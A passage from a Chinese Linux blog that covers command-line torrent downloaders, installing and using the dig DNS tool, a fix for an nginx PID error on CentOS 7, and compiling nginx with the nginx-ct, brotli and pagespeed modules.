  1. # rtorrent example.torrent

  

8.ctorrent

C-torrent是最简单的命令行torrent下载工具,可以迅速安装,也是micro-torrent或utorrent的优秀替代者。

安装

  1. # apt-get install ctorrent 

例子

我们不妨下载一份最新版本的Ubuntu server 16.04。

  1. # ctorrent ubuntu-16.04-server-amd64.iso.torrent

使用ctorrent –h,即可了解更多选项。

9.Transmission-cli

Transmission的这个命令行版本是一款非常强大的工具,可用于下载torrent。易于安装,它需要screen这个依赖项。

安装

  1. # apt-get install transmission-cli transmission-daemon transmission-common 

安装screen

  1. # apt-get install screen 

例子

  1. # screen -/usr/bin/transmission-cli -25000 ubuntu-16.04-server-amd64.iso.torrent

10.vuze

这是一种全面的torrent下载解决方案,占用资源极少,是功能最强大的torrent应用程序之一,它需要Java才能在控制台上运行,所以确保你已将open jdk的jre安装到系统上,它同样需要screen程序包。

安装

可以直接从该链接下载,下载后解压缩程序包。

  1. # tar -xvf VuzeInstaller.tar.bz2  
  2. # cd vuze

有一些依赖项必须下载,从该链接获取必要的插件。

将这些.jar插件拷贝到vuze目录:

  1. # cp *.jar vuze 

运行下面这个命令:

  1. # java -cp "Azureus2.jar:commons-cli.jar:log4j.jar" org.gudy.azureus2.ui.common.Main --ui=console

上述命令成功执行后,运行下面这个命令来启动

  1. # screen java -jar Azureus2.jar --ui=console

使用help命令,给add命令添加上.torrent文件的路径,即可开始下载。 

结束语

相比基于GUI的torrent或下载管理器,命令行工具来得更高效而快速。这些工具在无外设服务器中扮演重要角色,可以控制慢速互联网连接中的带宽使用。

请尽情享用!

原文链接:http://www.unixmen.com/top-10-command-line-tools-downloading-linux/

标签: Linux 下载

admin 发布于  2017-10-21 11:36 

linux使用问题处理小计(勿入) Linux

在ubuntu10.10下没有dig命令,而debian6下面有这个命令
ubuntu下想要apt-get安装,发现没有找到dig软件包
搜索后才发现正确安装是安装dnsutils

apt-get install dnsutils

PS:redhat系列这样安装

yum install bind-utils


看看dig命令大多时候如何可以取代nslookup的:

www@www:~# dig www.google.com

; <<>> DiG 9.9.5-9+deb8u14-Debian <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19569
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.google.com. IN A

;; ANSWER SECTION:
www.google.com. 164 IN A 216.58.194.196

;; Query time: 1 msec
;; SERVER: 108.61.10.10#53(108.61.10.10)
;; WHEN: Thu Oct 05 17:21:52 CST 2017
;; MSG SIZE rcvd: 59

只输出mx记录,简明使用
dig mx www.google.com +short
只输出NS记录
dig ns www.google.com
查询SOA( Start of Autority ) 返回主DNS服务器
dig soa www.google.com
指定dns,例如查询8.8.8.8中的www.google.com记录
dig +short @8.8.8.8 www.google.com
大部分的时候dig最下面显示了查询所用的时间及DNS服务器,时间,数据大小。DNS超时时间为30秒,查询时间对于排查DNS问题很有用。

;; Query time: 1 msec
;; SERVER: 108.61.10.10#53(108.61.10.10)
;; WHEN: Thu Oct 05 17:21:52 CST 2017
;; MSG SIZE rcvd: 59

nginx提示Failed to read PID from file /run/nginx.pid:

在centos7上,配置nginx代理服务后:
systemctl status nginx.service

提示错误:
Failed to read PID from file /run/nginx.pid: Invalid argument

看到好多说删掉改nginx.pid 文件的,试之,无效。

后来找到了一个方法:

mkdir -p /etc/systemd/system/nginx.service.d
printf "[Service]\nExecStartPost=/bin/sleep 0.1\n" > /etc/systemd/system/nginx.service.d/override.conf

然后:
systemctl daemon-reload
systemctl restart nginx.service

解决了问题。

标签: Linux nginx

admin 发布于  2017-10-5 17:17 

为nginx添加这些额外的第三方扩展加速你的web吧 Linux

nginx

Nginx 是一款高性能 Web 服务器软件,其有非常有益的IO表现,而且相较于 Apache Httpd 配置更加简单上手更加容易,本文将向大家介绍编译安装 Nginx 的第三方扩展。

Nginx 的额外扩展:

  1. OpenSSL 1.1.0,提供 ALPN 支持,支持 HTTP/2
  2. Nginx-CT,透明证书提高 HTTPS 网站的安全性和浏览器支持
  3. ngx_PageSpeed,Google 家的网站性能优化工具
  4. Brotli,实现比 Gzip 更高的压缩率
  5. Jemalloc,优化内存管理

第一个openssl和最后一个jemalloc现在大多数的一件安装包都有包括,不做描述.需要的请自行Google搜索相关教程.今天主要说一下Nginx-CT,ngx_PageSpeed,Brotli这三个扩展的安装.(建议把第三方扩展都放在一个文件夹下面方便管理)

下载需要的源码包:

wget https://github.com/grahamedgecombe/nginx-ct/archive/v1.3.2.tar.gz

tar xzf v1.3.2.tar.gz

git clone https://github.com/google/ngx_brotli.git
cd ngx_brotli
git submodule update --init

wget https://github.com/pagespeed/ngx_pagespeed/archive/v1.12.34.3-stable.zip
unzip v1.12.34.3-stable.zip
cd ngx_pagespeed-1.12.34.3-stable/
wget https://dl.google.com/dl/page-speed/psol/1.12.34.2-x64.tar.gz
tar -xzvf 1.12.34.2-x64.tar.gz

接下来就是编译了,这是在已经安装好nginx的环境增加扩展,所有只需要make 不需要make install ,不然就覆盖安装了...

linux下错误提示很人性化的,多看提示,更具提示操作,基本上都可以解决问题.

重要步骤:

通过命令 nginx -V 查看nginx的配置及其已有的扩展.我们只需要在后面增加模块即可:

比如使用nginx -V命令查看结果类似于下面:

--prefix=/usr/local/nginx --with-http_stub_status_module

我们只需要在原有的基础上添加我们的模块即可:

./configure --prefix=/usr/local/nginx --with-http_stub_status_module --add-module=/data/software/nginx-ct-1.3.2 --add-module=/data/software/ngx_brotli --add-module=/data/software/ngx_pagespeed-1.12.34.3-stable

等它自动配置完成后,直接 make 一下就行.

然后备份原有已安装好的nginx:

cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
service nginx stop

然后将刚刚编译好的nginx覆盖掉原有的nginx(这个时候nginx要停止状态,通过上面的命令,已经停止了):

cp ./objs/nginx /usr/local/nginx/sbin/

然后启动nginx (service nginx start),就可以通过命令nginx -V 查看第三方扩展是否已经加入成功.

PS:笔记+分享,好的扩展,开源产品大家都应该去体验一下!

标签: nginx 编译

admin 发布于  2017-10-1 17:06